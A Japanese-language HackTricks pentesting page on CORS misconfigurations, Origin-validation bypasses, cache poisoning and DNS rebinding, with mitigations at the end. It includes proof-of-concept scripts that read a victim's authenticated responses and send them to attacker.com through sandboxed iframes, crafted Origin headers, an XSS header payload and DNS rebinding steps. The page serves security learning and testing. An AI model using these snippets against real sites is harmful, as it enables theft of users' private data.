CORS - 設定ミスとバイパス

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

CORSとは?

Cross-Origin Resource Sharing (CORS)標準は、サーバーが「誰がその資産にアクセスできるか」と「外部ソースからどのHTTPリクエストメソッドが許可されるか」を定義できるようにします。

同一オリジン(same-origin) ポリシーは、リソースを要求するサーバーとそのリソースをホストするサーバーが同じプロトコル(例: http://)、ドメイン名(例: internal-web.com)、およびポート(例: 80)を共有することを要求します。このポリシーの下では、同一のドメインとポートからのウェブページだけがリソースにアクセスできます。

http://normal-website.com/example/example.html のコンテキストでの同一オリジンポリシーの適用は次の通りです:

URL accessedAccess permitted?
http://normal-website.com/example/はい: スキーム、ドメイン、ポートが同一
http://normal-website.com/example2/はい: スキーム、ドメイン、ポートが同一
https://normal-website.com/example/いいえ: スキームとポートが異なる
http://en.normal-website.com/example/いいえ: ドメインが異なる
http://www.normal-website.com/example/いいえ: ドメインが異なる
http://normal-website.com:8080/example/いいえ: ポートが異なる*

*Internet Explorerは同一オリジンポリシーの適用においてポート番号を無視するため、このアクセスを許可します。

Access-Control-Allow-Origin Header

このヘッダーは複数のオリジン、値が**null、またはワイルドカードの*を許可することができます。しかし、どのブラウザも複数のオリジンをサポートしていないこと、ワイルドカード*の使用には制限**があることに注意してください。(ワイルドカードは単独で使用する必要があり、Access-Control-Allow-Credentials: trueと併用することはできません。)

このヘッダーは、ウェブサイトから発行されたクロスドメインのリソース要求にサーバーが応答する際にサーバー側が発行します。ブラウザは自動的に Origin ヘッダーを追加します。

Access-Control-Allow-Credentials Header

デフォルトでは、クロスオリジンリクエストはクッキーや Authorization ヘッダーなどの認証情報なしで行われます。しかし、クロスドメインのサーバーは Access-Control-Allow-Credentials ヘッダーを true に設定することで、認証情報が送信された場合にレスポンスの読み取りを許可できます。

true に設定すると、ブラウザはクッキー、authorization ヘッダー、または TLS クライアント証明書などの認証情報を送信します。

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF プレフライトリクエスト

クロスドメイン通信におけるプレフライトリクエストの理解

クロスドメインリクエストを開始する際、例えば 非標準の HTTP メソッド(HEAD、GET、POST 以外)、新しい ヘッダー の追加、または特殊な Content-Type ヘッダー値 を使用する場合など、プレフライトリクエストが必要になることがあります。この予備リクエストは OPTIONS メソッドを用い、サーバーに対して今後行われるクロスオリジンリクエストが使用しようとしている HTTP メソッドやヘッダーなどの意図を通知します。

Cross-Origin Resource Sharing (CORS) プロトコルは、許可されているメソッドやヘッダー、Origin の信頼性を検証して要求されたクロスオリジン操作が許可可能かどうかを判断するためにこのプレフライトチェックを要求します。プレフライトリクエストが不要となる条件の詳細については、Mozilla Developer Network (MDN) の包括的なガイドを参照してください。

重要なのは、プレフライトリクエストが行われないことがレスポンスに Authorization ヘッダーを含める必要がないことを意味しない、という点です。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストのレスポンスを処理できません。

以下は、PUT メソッドと Special-Request-Header というカスタムヘッダーを使用しようとするプレフライトリクエストの例です:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

レスポンスとして、サーバーは許可されたメソッド、許可されたオリジン、および下に示すようなその他の CORS ポリシーの詳細を示すヘッダーを返す場合があります:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: このヘッダは、実際のリクエストで使用できるヘッダを指定します。サーバが設定し、クライアントからのリクエストで許可されているヘッダを示します。
  • Access-Control-Expose-Headers: このヘッダを通じて、サーバは、単純なレスポンスヘッダに加えてどのヘッダをレスポンスの一部として公開できるかをクライアントに通知します。
  • Access-Control-Max-Age: このヘッダは、プリフライトリクエストの結果をどれくらいの期間キャッシュできるかを示します。サーバは、プリフライトリクエストで返された情報が再利用され得る最大時間(秒)を設定します。
  • Access-Control-Request-Headers: プリフライトリクエストで使用され、クライアントが実際のリクエストで使いたいHTTPヘッダをサーバに知らせるためにクライアントが設定します。
  • Access-Control-Request-Method: 同じくプリフライトリクエストで使用され、クライアントが実際に使用するHTTPメソッドを示すために設定します。
  • Origin: このヘッダはブラウザによって自動的に設定され、クロスオリジンリクエストの発信元を示します。サーバはCORSポリシーに基づき、受信したリクエストを許可するか拒否するかを判断するためにこれを使用します。

Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
したがって、CORSはCSRFからの防御にはならない(ただし役に立つ場合はある)。

ローカルネットワークリクエストのプリフライトリクエスト

  1. Access-Control-Request-Local-Network: このヘッダはクライアントのリクエストに含まれ、問い合わせがローカルネットワーク内のリソースを対象としていることを示します。サーバに対しリクエストがローカルネットワーク内から発生していることを知らせるマーカーとして機能します。
  2. Access-Control-Allow-Local-Network: サーバはこのヘッダを使って、要求されたリソースがローカルネットワーク外のエンティティと共有されることを許可することを伝えます。これは異なるネットワーク境界でリソース共有を許可する合図として機能し、アクセスを制御しつつセキュリティプロトコルを維持します。

A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

linux の 0.0.0.0 IP は、その IP アドレスが「local」と見なされないため、localhost へのアクセス要件を bypass するために動作することに注意してください。

また、ローカルエンドポイントの public IP address of a local endpoint(例: ルーターの public IP)を使用すると、bypass the Local Network requirements できる場合があります。いくつかのケースでは、public IP にアクセスしていても、それが from the local network であればアクセスが許可されます。

ワイルドカード

次の設定が非常に許容的に見えるように思えても、注意してください:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

これはブラウザでは許可されておらず、そのためこの設定ではcredentialsはリクエストとともに送信されません。

Exploitable misconfigurations

Access-Control-Allow-Credentialsを**trueに設定することは、ほとんどの実際の攻撃**にとって前提条件であると観察されています。この設定はブラウザがcredentialsを送信しレスポンスを読み取ることを許可するため、攻撃の有効性を高めます。これがなければ、ブラウザにリクエストを発行させる利点は減少し、ユーザーのcookiesを利用することが事実上不可能になります。

Exception: Exploiting Network Location as Authentication

被害者のnetwork locationが一種の認証として機能する例外があります。これにより、被害者のブラウザをproxyとして利用し、IP-based authenticationを迂回してintranet applicationsへアクセスすることが可能になります。この手法はDNS rebindingとインパクトが類似していますが、悪用はより簡単です。

Reflection of Origin in Access-Control-Allow-Origin

Originヘッダの値がAccess-Control-Allow-Originに反映されるという現実的なシナリオは、これらのヘッダを組み合わせることに対する制約のため理論上ありそうにありません。しかし、複数のURLsに対してCORSを有効にしようとする開発者が、Originヘッダの値をコピーしてAccess-Control-Allow-Originヘッダを動的に生成することがあります。この方法は脆弱性を招く可能性があり、特に攻撃者が正当らしく見える名前のドメインを使って検証ロジックを欺く場合に問題となります。

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null オリジンの悪用

null オリジンは、リダイレクトやローカルHTMLファイルといった状況で指定される特異な存在です。開発を容易にするためにこのオリジンをホワイトリストに登録しているアプリケーションがあり、その結果、任意のウェブサイトが sandboxed iframe を介して null オリジンを模倣でき、CORS 制限を回避してしまうことがあります。

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

正規表現バイパス手法

ドメインのホワイトリストに遭遇した場合、ホワイトリスト済みドメインに攻撃者のドメインを付加する、あるいは subdomain takeover 脆弱性を悪用するなど、バイパスの可能性をテストすることが重要です。さらに、ドメイン検証に使用される正規表現はドメイン命名規則の微妙な違いを見落としがちで、さらなるバイパス機会を生むことがあります。

高度な正規表現バイパス

正規表現パターンは通常、英数字、ドット (.)、ハイフン (-) の文字に着目し、他の可能性を無視しがちです。たとえば、ブラウザと正規表現で解釈が異なる文字を含むように作成したドメイン名は、セキュリティチェックを回避できます。サブドメイン内のアンダースコアの扱いにおける Safari、Chrome、Firefox の挙動は、このような不一致がドメイン検証ロジックを回避するためにどのように悪用されうるかを示しています。

このバイパス確認の詳細と設定については: https://www.corben.io/advanced-cors-techniques/ および https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

サブドメイン内の XSS から

開発者はしばしば、情報をリクエストできるドメインをホワイトリスト化することで CORS の悪用に対する防御を実装します。しかしこれらの対策にもかかわらず、システムのセキュリティは完全ではありません。ホワイトリスト化されたドメイン内にたった1つでも脆弱なサブドメインが存在すると、XSS (Cross-Site Scripting) のような他の脆弱性を通じて CORS の悪用を許す可能性があります。

例を示すために、ドメイン requester.com が別のドメイン provider.com からのリソースにアクセスするためにホワイトリストに登録されている状況を想定します。サーバー側の設定は次のようになっているかもしれません:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

この構成では、requester.com のすべてのサブドメインがアクセスを許可されています。しかし、あるサブドメイン、例えば sub.requester.com が XSS 脆弱性によって侵害されると、攻撃者はこの弱点を悪用できます。例えば、sub.requester.com にアクセスできる攻撃者は、XSS 脆弱性を利用して CORS ポリシーをバイパスし、provider.com 上のリソースに不正にアクセスする可能性があります。

特殊文字

PortSwigger’s URL validation bypass cheat sheet は、一部のブラウザがドメイン名内で奇妙な文字をサポートしていることを発見しました。

Chrome と Firefox は、Origin ヘッダの検証に使用される正規表現をバイパスできるアンダースコア _ をサポートしています:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari はドメイン名における特殊文字の扱いがさらに緩い:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

その他の面白いURLトリック

URL Format Bypass

Server-side cache poisoning

From this research

HTTP header injection を通じて server-side cache poisoning を悪用することで、stored Cross-Site Scripting (XSS) 脆弱性が誘発される可能性があります。これは、アプリケーションが Origin ヘッダーを不正な文字に対してサニタイズしない場合に発生し、特に Internet Explorer および Edge のユーザーに影響します。これらのブラウザは (0x0d) を正当な HTTP header terminator として扱い、その結果 HTTP header injection vulnerabilities を引き起こします。

Origin ヘッダーが操作された以下のリクエストを考えてください:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer と Edge はレスポンスを次のように解釈します:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page’s character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.

For further reading on stored XSS vulnerabilities, see PortSwigger.

注意: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.

Client-Side cache poisoning

From this research

このシナリオでは、カスタムHTTPヘッダーの内容を適切にエンコードせずに反映するウェブページのインスタンスが観察されます。具体的には、ウェブページが X-User-id ヘッダーに含まれる内容を返し、その中に悪意あるJavaScriptが含まれる可能性があります。例では、ヘッダーに読み込み時にJavaScriptを実行するよう設計されたSVGイメージタグが含まれています。

Cross-Origin Resource Sharing (CORS) ポリシーはカスタムヘッダーの送信を許可します。しかし、CORS制限によりブラウザがレスポンスを直接レンダリングしない場合、こうした注入の有用性は限定的に見えるかもしれません。重要なのはブラウザのキャッシュ動作を考慮する点です。Vary: Origin ヘッダーが指定されていないと、悪意あるレスポンスがブラウザにキャッシュされる可能性が生じます。その結果、このキャッシュされたレスポンスが直接レンダリングされ、初回リクエスト時に直接レンダリングする必要がなくなる場合があります。この仕組みにより、client-side caching を利用して攻撃の信頼性が高まります。

この攻撃を示すために、JSFiddleなどのウェブページ環境で実行されることを想定したJavaScriptの例が用意されています。このスクリプトは単純な動作を行います:悪意あるJavaScriptを含むカスタムヘッダーを付けて指定したURLへリクエストを送信します。リクエストが正常に完了すると、ターゲットURLへ遷移し、Vary: Origin ヘッダーが適切に扱われずにレスポンスがキャッシュされていた場合、注入されたスクリプトの実行を引き起こす可能性があります。

Here’s a summarized breakdown of the JavaScript used to execute this attack:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

バイパス

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI(別名 Cross-Site Script Inclusion)は、script タグでリソースを読み込む際に Same Origin Policy (SOP) が適用されない点を悪用する脆弱性の一種です。script は異なるドメインから読み込まれることが許容されるため、この仕組みを利用して攻撃者が script タグで読み込まれた任意のコンテンツにアクセス・閲覧できてしまいます。

この脆弱性は、動的な JavaScript や JSONP(JSON with Padding)、特に cookie のような ambient-authority 情報が認証に使われている場合に重大になります。異なるホストへリクエストする際に cookie が付与されれば、それが攻撃者に利用される可能性があります。

解析・緩和のために、BurpSuite のプラグイン(https://github.com/kapytein/jsonp)を利用すると便利です。このプラグインは XSSI の可能性を検出するのに役立ちます。

Read more about the difefrent types of XSSI and how to exploit them here.

リクエストに callback パラメータを追加してみてください。ページが JSONP を返すよう準備されている場合、Content-Type: application/javascript でデータを返し、CORS ポリシーを回避できる可能性があります。

Easy (useless?) bypass

Access-Control-Allow-Origin 制限を回避する簡単な方法の一つは、対象の Web アプリに代わりにリクエストを行ってもらい、そのレスポンスを返してもらうことです。ただし、このケースでは最終的な被害者の資格情報は別ドメインへのリクエストになるため送信されません。

  1. CORS-escape: このツールはリクエストとそのヘッダを転送しつつ、Origin ヘッダを要求ドメインに偽装するプロキシを提供します。これにより CORS ポリシーを実質的にバイパスできます。XMLHttpRequest の使用例などがあります。
  2. simple-cors-escape: リクエストをそのまま流すのではなく、サーバー側が指定されたパラメータで独自にリクエストを行う代替アプローチを提供します。

Iframe + Popup Bypass

iframe を作成し、そこから新しいウィンドウを開くことで、e.origin === window.origin のような CORS チェックをバイパスできます。詳しくはこちらのページを参照してください:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL は、DNS レコードを操作して一部のセキュリティ対策を回避する手法です。仕組みは次の通りです:

  1. 攻撃者がページを作り、被害者にアクセスさせる。
  2. 攻撃者は自分のドメインの DNS(IP)を被害者のページへ向けるよう変更する。
  3. 被害者のブラウザは DNS 応答をキャッシュし、TTL(Time to Live)に従って有効期間を保持する。
  4. TTL が切れるとブラウザは新たな DNS リクエストを行い、攻撃者は被害者ページ上で JavaScript を実行できるようになる。
  5. 攻撃者が被害者の IP を制御することで、被害者サーバーへ cookie を送ることなく情報を収集できます。

ただし、ブラウザにはキャッシュ機構があり、低い TTL 値でも即座の悪用を防ぐ場合があります。

DNS rebinding は、被害者側の明示的な IP チェックを回避したり、ユーザやボットが長時間同一ページを開いたままにするような状況でキャッシュが切れるのを狙うのに有用です。

手軽に試すには https://lock.cmpxchg8b.com/rebinder.html のようなサービスを利用できます。

独自の DNS rebinding サーバーを立てるには DNSrebinder(https://github.com/mogwailabs/DNSrebinder)等を使えます。これはローカルのポート 53/udp を公開し、A レコードでそれを指す(例: ns.example.com)、さらに NS レコードで先ほどの A サブドメインを指す設定にすることで動作します。ns.example.com の任意のサブドメインはホスト側で解決されるようになります。

また、公開されたサーバーの例として http://rebind.it/singularity.html も参考になります。

DNS Rebinding via DNS Cache Flooding

DNS cache flooding による DNS rebinding は、ブラウザのキャッシュ機構を破り再度の DNS リクエストを強制する別の手法です。手順は次の通りです:

  1. 初回の DNS リクエストには攻撃者の IP を返す。
  2. キャッシュ防御を回避するために、攻撃者は service worker を利用して DNS キャッシュを洪水させ、キャッシュされた攻撃者サーバ名を事実上削除する。
  3. 被害者のブラウザが二度目の DNS リクエストを行うと、127.0.0.1(通常は localhost)などの IP を返す。

service worker によるキャッシュ洪水で DNS 解決を操作し、被害者ブラウザに再リクエストを行わせ、意図する IP に解決させることができます。

DNS Rebinding via Cache

別のキャッシュ回避手法として、同一サブドメインに複数の IP を割り当てる方法があります。流れは次の通りです:

  1. 攻撃者が DNS プロバイダに同一サブドメインの A レコードを二つ(または一つの A レコードに二つの IP)設定する。
  2. ブラウザがこれらを確認すると両方の IP を受け取る。
  3. ブラウザがまず攻撃者の IP を使うと、攻撃者は同一ドメインへの HTTP リクエストを実行するペイロードを返す。
  4. 攻撃者が被害者の IP を入手したら、攻撃者側はブラウザへの応答を停止する。
  5. ブラウザはそのドメインが応答しないと判断して 2 番目の IP を使うようになる。
  6. 2 番目の IP にアクセスすることで、ブラウザは SOP を回避し、攻撃者は情報収集や exfiltration を行える。

この手法は、ドメインに複数の IP が提供された際のブラウザの挙動を利用します。応答を戦略的に制御してブラウザの選択を操作することで SOP を悪用できます。

Warning

Note that in order to access localhost you should try to rebind 127.0.0.1 in Windows and 0.0.0.0 in linux.
Providers such as godaddy or cloudflare didn’t allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them “0.0.0.0”

詳細は https://unit42.paloaltonetworks.com/dns-rebinding/ を参照してください。

Other Common Bypasses

  • If internal IPs aren’t allowed, they might forgot forbidding 0.0.0.0 (works on Linux and Mac)
  • If internal IPs aren’t allowed, respond with a CNAME to localhost (works on Linux and Ma
  • If internal IPs aren’t allowed as DNS responses, you can respond CNAMEs to internal services such as www.corporate.internal.

DNS Rebidding Weaponized

前述のバイパス手法やツールの使い方については、講演 Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference を参照してください。

Singularity of Origin は DNS rebinding 攻撃を行うためのツールです。攻撃者サーバの DNS 名をターゲットのマシン IP にリバインドし、ターゲット上の脆弱なソフトを攻撃するためのペイロードを配信するためのコンポーネントを含んでいます。

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH は単に古典的な RFC1035 DNS の wire フォーマットを HTTPS 内にトンネリングする(通常は Content-Type: application/dns-message の POST)だけです。リゾルバは同じリソースレコードで応答するため、ブラウザが攻撃者管理のホスト名を TLS 経由で解決しても SOP を破る手法は引き続き機能します。

Key observations

  • Chrome (Windows/macOS) と Firefox (Linux) は、Cloudflare、Google、OpenDNS の DoH リゾルバで設定した場合にリバインドに成功します。トランスポートの暗号化は、first-then-secondmultiple-answersDNS cache flooding 戦略に対する攻撃フローの遅延や遮断にはならないことが確認されています。
  • 公開リゾルバはすべてのクエリを受け取りますが、ブラウザが従うべきホスト→IP のマッピングを厳格に強制することは稀です。権威サーバがリバインディングのシーケンスを返すと、ブラウザは元の origin タプルを保ったまま新しい IP に接続し続けます。

Singularity strategies and timing over DoH

  • First-then-second は依然として最も信頼できる手法です:最初のルックアップは攻撃者 IP(ペイロードを配信)を返し、その後のルックアップは内部/localhost の IP を返します。典型的なブラウザの DNS キャッシュでは、この切り替えは ~40–60 秒で起きます。これは再帰リゾルバが HTTPS 経由でのみ到達可能な場合でも同様です。
  • Multiple answers (fast rebinding) は、二つの A レコード(攻撃者 IP + Linux/macOS の場合 0.0.0.0、Windows の場合 127.0.0.1)で応答し、ページ読み込み直後に最初の IP をプログラム的にブラックホール化(例: iptables -I OUTPUT -d <attacker_ip> -j DROP)することで <3 秒で localhost に到達します。Firefox の DoH 実装は繰り返し DNS クエリを発行することがあるため、Singularity の対策はタイマーを各クエリで更新するのではなく、最初のクエリのタイムスタンプに相対してファイアウォールルールをスケジュールすることです。

Beating “rebind protection” in DoH providers

  • 一部プロバイダ(例: NextDNS)は private/loopback の応答を 0.0.0.0 に置換しますが、Linux と macOS はその宛先をローカルサービスへルーティングします。したがって、二番目のレコードとして意図的に 0.0.0.0 を返すことは依然として localhost へピボットする効果があります。
  • 直接的な A/AAAA 応答だけをフィルタするのは無効です:内部専用ホスト名への CNAME を返すと、公開 DoH リゾルバはそのエイリアスを転送し、Firefox 等のブラウザは内部ゾーンの解決のためにシステム DNS にフォールバックするため、最終的にプライベート IP に解決され、それでも攻撃者 origin として扱われます。

Browser-specific DoH behavior

  • Firefox DoH はフォールバックモードで動作します:DoH の失敗(未解決の CNAME ターゲットを含む)は OS リゾルバによるプレーンテキストルックアップをトリガーします。OS リゾルバは通常エンタープライズ DNS サーバで内部名前空間を知っているため、企業ネットワーク内部での CNAME バイパスが信頼できるのはこの挙動によります。
  • Chrome DoH は OS DNS がホワイトリスト化された DoH 対応再帰リゾルバ(Cloudflare、Google、Quad9 等)を指している場合にのみ有効になり、同じフォールバックチェインを提供しません。企業 DNS のみで存在する内部ホスト名は解決できなくなりますが、localhost やルーティング可能なアドレスへのリバインドは成功します。なぜなら攻撃者が応答セット全体を制御しているためです。

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS で DoH エンドポイントを指定(Cloudflare と NextDNS は組み込み)。Chrome/Chromium: chrome://flags/#dns-over-https を有効にし、OS の DNS サーバを Chrome のサポートするリゾルバ(例: 1.1.1.1/1.0.0.1)に設定します。
  • 公開 DoH API を直接クエリして、ブラウザがキャッシュする正確なレコードを確認できます。例: curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq
  • DoH は単に HTTPS なので Burp/ZAP でインターセプトできます(ボディ内にバイナリ DNS ペイロード)。パケットレベルで解析するには、ブラウザ起動前に TLS キーをエクスポート(export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt)し、Wireshark で DoH セッションを復号して dns ディスプレイフィルタを使ってブラウザが DoH に留まっているかフォールバックしているかを確認します。

Real Protection against DNS Rebinding

  • Use TLS in internal services
  • Request authentication to access data
  • Validate the Host header
  • https://wicg.github.io/private-network-access/: Proposal to always send a pre-flight request when public servers want to access internal servers

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする